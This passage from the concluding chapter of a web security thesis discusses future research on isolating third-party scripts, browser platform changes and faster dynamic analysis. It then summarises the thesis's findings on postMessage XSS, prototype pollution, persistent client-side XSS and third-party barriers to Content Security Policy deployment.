nonce-based, which would be incompatible with the code they provide to other parties.
Hence, if third parties vetted the code they provide to others as much as the one they
run themselves, the situation could quickly be remedied.

We believe that understanding how we can adapt the Web’s security boundaries to
allow for more fine-grained isolation models that help developers tackle their problems
and make third-party inclusions safe by default remains an interesting avenue for future
research. While there exist a plethora of approaches in research that provide sandboxing
mechanisms [1, 124, 119, 126] potent enough to prevent vulnerabilities and prevent
behavior that is incompatible with secure CSPs, rigorously applying such principles
would lead to functionality breakage. Thus, it remains to be explored how we can
best achieve isolation by default that still allows third parties to contribute to the
functionality of the first party in meaningful ways yet, provide isolation from the
dangers of benign-but-buggy third-party code.

8.3.2 Changes to the Web Platform

Browser vendors move the Web’s security forward by implementing novel security
mechanisms. For example, while the recent choice of Chrome to make cookies same-site
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by default [24] may result in breakage, it essentially solves problems such as CSRF,
XSSI, or Clickjacking. As proposed by Google, vendors may consider hiding new features
behind the deployment of security mechanisms [143], such as sane CSP. While this
has its upsides in ensuring that newly developed code that wants to use these new
features has to be built in a CSP-compliant fashion, it may also have an adverse effect
on existing applications. In particular, if third parties cause compliance issues, the first
party cannot use the new features. Hence, while we support such incentive structures,
they should be deployed in line with mechanisms such as First-Party Sets [59]. In this
way, code from first parties could be allowed to access the new APIs without having
to deploy a sane CSP, whereas, for third parties, access is only granted if a sane CSP
is deployed. As websites rely on their third parties for monetization, the first-party
developers also have incentives to address their own incompatibilities, leading to an
overall more secure Web.

Orthogonally, we have seen that various security mechanisms proposed by researchers
[15, 65, 139, 116, 42], are not applied in the wild. Similarly, we could show that security
mechanisms that are implemented in the browser, such as the Content Security Policy,
supposed to serve developers in securing their site, fail to consider real-world scenarios.
As we showed in Chapter 7, developers can either achieve functionality or security, and
any change in the system requires cooperation from all involved stakeholders. Thus, it
seems imminent that we need close collaboration between browser vendors, developers,
and the research community to build security mechanisms that provide meaningful
security improvements yet fit the current deployment model of the Web.

We see our analysis depicted in Chapter 7 as a first step towards investigating
the underlying issues of the lacking and insecure deployments of CSP. Yet, we think
that this field could greatly benefit from efforts similar to those of Krombholz et al.
[62, 61], in which the authors analyzed the usability of HTTPS deployments and the
mental models of developers for HTTPS. Understanding the developer’s needs and
their (mis-)conceptions about mechanisms proposed by browser vendors or the research
community will allow us to change existing mechanisms but also helps us in designing
new mechanisms that could lead to overall higher and meaningful adoption of such
mechanism in the future.

8.3.3 Improvements to Dynamic Analysis Frameworks in the Web

One inherent drawback of our approach as depicted in Chapter 5 is that we rely on
instrumentation to implement our concolic execution. While this allows us to build a
system that is easily portable to new browser versions and only requires changes if new
language features are introduced, it introduces significant overhead, as discussed in the
original work of Jalangi [109].

Recent advances in the area of symbolic execution [101, 102, 48] focus on performance
improvements. We envision that similar approaches, e.g., pairing static analysis with
our instrumentation step to only instrument those slices of the program that deal with
tainted data, could allow us to analyze applications in more depth as we could improve
the overall runtime of our analyses.
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Orthogonally, we think that our techniques presented in Chapters 4 and 5 can be used
to obsolete the browser-based taint engine used in Chapter 6, as well as in related work
[67, 77]. This would also allow us to increase code coverage of these mechanisms, e.g., via
forced execution, and thus depict the threat landscape of reflected and persistent client-
side XSS more accurately. Naturally, such an application of the techniques presented
here would not be straightforward, as the exploit generation techniques based on our
Exploit Templates might not suffice for arbitrary XSS injection points that we can find
in applications. It remains to be explored how we can best achieve context-sensitive
breakout/breakin sequences while incorporating path constraints that were collected
during forced execution.

Another avenue for improvements of our techniques could be resorting to sum-
maries or abstract specification of frequently included library code instead of executing
instrumented library code repeatedly [50, 52, 43, 113].

8.4 Conclusion

In this thesis, we discussed our research conducted in the area of client-side vulnerability
detection and investigated how third-party code prevents first parties from deploying
appropriate mitigations without loss of functionality. After discussing the relevant
technical background in Chapter 2, we started with revisiting the threat landscape of
vulnerable postMessage handlers in Chapter 4. We provided the first system capable of
finding postMessage-based XSS and state alterations fully automatically while uncovering
issues such as privacy leaks and postMessage relays semi-automatically. Our techniques
rely on an in-browser forced execution engine paired with taint tracking implemented
via code instrumentation and usage of JavaScript proxy objects. We generated proof
of concept postMessages that trigger malicious behavior using state-of-the-art SMT
solvers, which allowed us to find security issues that affect a total of 379 sites.

Next, we investigated the threat of prototype pollution vulnerabilities in client-side
Web applications in Chapter 5. To that end, we built a concolic execution engine based
on Jalangi, allowing us to find data flows from potentially pollutable prototypes to
dangerous sinks. We evaluated our pipeline on a benchmark extracted from prototype
pollution vulnerabilities found in popular libraries. Then, we presented our results of
applying these methods to the top 100 most popular applications. We showed that
36 sites carry such exploitable prototype pollution gadgets, allowing attackers to gain
code execution or to forge requests to arbitrary endpoints from within the application.
Investigating our encountered vulnerabilities highlighted that only one application in
our dataset relied on prototype alterations that are non-function types, which allowed
us to propose a simple defense mechanism eradicating malicious behavior while allowing
benign functionality.

Next, we showed the dangers associated with attacker-controllable values that are
persistently stored on the client side with either cookies or local storage in Chapter 6.
We introduced attacker models capable of tampering with such values and subsequently
evaluate the threat of persistent client-side XSS by using a browser-based taint engine
paired with domain-specific exploit generation techniques. We showed that 8% of the
top 5,000 applications carry an exploitable flaw from persistency to code execution. We
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highlighted that, in most cases, the intended use-cases can be implemented securely
without loss of functionality.

Lastly, we discussed how third-party behavior introduced via script inclusions
interferes with the first party’s ability to deploy a non-trivially bypassable CSP in
Chapter 7. We showed that third-parties mandate frequent changes in host-based
allowlists, necessitate the insecure unsafe-inline and unsafe-eval directives, as
well as interfere with strict-dynamic based policies. Arguably, first parties have a
significant task ahead in ensuring that their own code is compatible with CSP. However,
even having done so, the majority of them are unable to outsource non-core business
needs and deploy security mechanisms at the same time. This leaves them in a no-win
situation in which either security can be enforced or functionality preserved.
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